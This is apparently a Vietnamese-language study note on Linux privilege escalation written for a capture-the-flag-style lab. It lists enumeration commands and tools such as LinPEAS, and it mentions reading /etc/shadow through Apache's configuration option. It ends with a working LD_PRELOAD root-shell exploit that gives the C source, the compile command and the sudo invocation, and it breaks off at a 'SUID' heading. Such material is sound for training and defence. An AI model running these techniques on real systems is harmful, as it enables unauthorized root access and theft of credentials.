← Back to home

Linux Privilege Escalation

Step 1: Enumeration

Enumeration là bước đầu tiên bạn phải thực hiện một khi bạn có quyền truy cập vào bất kỳ hệ thống nào.

hostname: trả về hostname của hệ thống đích => có thể chứa thông tin về hệ thống

uname -a: Đưa ra thông tin chi tiết về kernel của system

/proc/version: Chứa các thông tin về các tiến trình trên hệ thống mục tiêu.

/etc/issue: Chứa thông tin về Hệ điều hành

ps command: Đưa ra các tiến trình đang chạy trên Linux bao gồm PID (process id), TTY (Terminal type used by the user), Time (Khoảng thời gian CPU được sử dụng bởi tiến trình), CMD (dòng lệnh hay câu lệnh thực thi đang chạy).

ps -A: Xem tất cả tiến trình đang chạy

ps axjf: Xem tiến trình dạng cây

ps aux: Tiến trình của toàn bộ users

env: Show các biến môi trường

sudo -l: Hệ thống mục tiêu được cấu hình để cho phép người dùng chạy 1 vài (hoặc tất cả) các lệnh với quyền root => List các command có thể được user chạy với quyền root

netstat: Được sử dụng với 1 số options khác nhau để thu thập thông tin và các connections hiện có

netstat -a: show các ports đnag lắng nghe và các kết nối đã được thành lập.

netstat -at hoặc netstat -au: hiện các giao thức TCP, UDP tương ứng.

netstat -l: các ports ở chế độ lắng nghe. Option -t: TCPP protocol

find Command: Tìm kiếm thông tin

find . -name flag1.txt: Tìm kiếm file flag1.txt ở thư mục hiện tại.

find /home -name flag1.txt: Tìm kiếm file flag1.txt ở thư mục /home.

find / -type d -name config: Tìm kiếm folder tên "config" ở "/"

find / -type f -perm 0777

find / -perm a=x: Tìm file thực thi

find /home -user frank: TÌm các file của người dùng "frank" trong folder /home

find / -mtime 10: Tìm các file mới được sửa đổi trong 10 ngày

find / -atime 10: Tìm các file mới được truy cập trong 10 ngày

find / -cmin -60: Tìm các file mới được sửa đổi trong 60 phút

find / -amin -60: Tìm các file mới được truy cập trong 60 phút

find / -size +100M

-type f 2>/dev/null: đưa ra output sạch, lỗi đưa vào /dev/null

Tìm kiếm các folder có thể ghi:

find / -writable -type d 2>/dev/null

find / -perm -222 -type d 2>/dev/null

find / -perm -o w -type d 2>/dev/null

find / -name gcc*

Step 2: Automated Enumeration Tools

LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

LinEnum: https://github.com/rebootuser/LinEnum

LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester

Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration

Linux Priv Checker: https://github.com/linted/linuxprivchecker

Step 3: Privilege Escalation

Kernel Exploits

Kernel trên Linux quản lý việc các thành phần như memory trên hệ thống và ứng dụng giao tiếp với nhau. Các chức năng này cần có quyền cụ thể => Khai thác thành công, có quyền root

Khai thác Kernel

  • Nhận dạng version của kernel
  • Tìm kiếm code exploit của version đó
  • Chạy code

Sudo

Lệnh sudo cho phép người dùng chạy chương trình với quyền root. Trong 1 số trường hợp, admin có thể cho người dùng quyền root khi thực hiện công việc gì đó.

sudo -l: Hệ thống mục tiêu được cấu hình để cho phép người dùng chạy 1 vài (hoặc tất cả) các lệnh với quyền root => List các command có thể được user chạy với quyền root

gtfobins: tài nguyên cung cấp thông tin cách chương trình có thể có quyền sudo có thể được sử dụng

Leverage application functions

Apache2 có option lựa chọn tệp cấu hình thay thế

image

=> Load file /etc/shadow luôn cũng được, sẽ ra dòng đầu tiên

Leverage LD_PRELOAD

Trên một số hệ thống, ta có thể thấy LD_PRELOAD env option

image

LD_PRELOAD là một chức năng cho phép bất kỳ chương trình nào sử dụng các thư viện được chia sẻ.

Blog này nói cho bạn về khả năng của LD_PRELOAD. Nếu option env_keep được bật, ta có thể generate thư viện chung để mà được load và thực thi trước khi chương trình được chạy. LD_PRELOAD sẽ bị bỏ qua nếu ID người dùng thực khác với ID người dùng hiệu quả.

Các bước leo quyền với LD_PRELOAD:

  • Check LD_PRELOAD với option env_keep
  • Viết code C và compile về share object file (.so extension)
  • Chạy chương trình với quyefn sudo và LD_PRELOAD trỏ tới file .so của ta

Code C:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

Compile

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

Run program

sudo LD_PRELOAD=/home/user/ldpreload/shell.so find

Result

image

SUID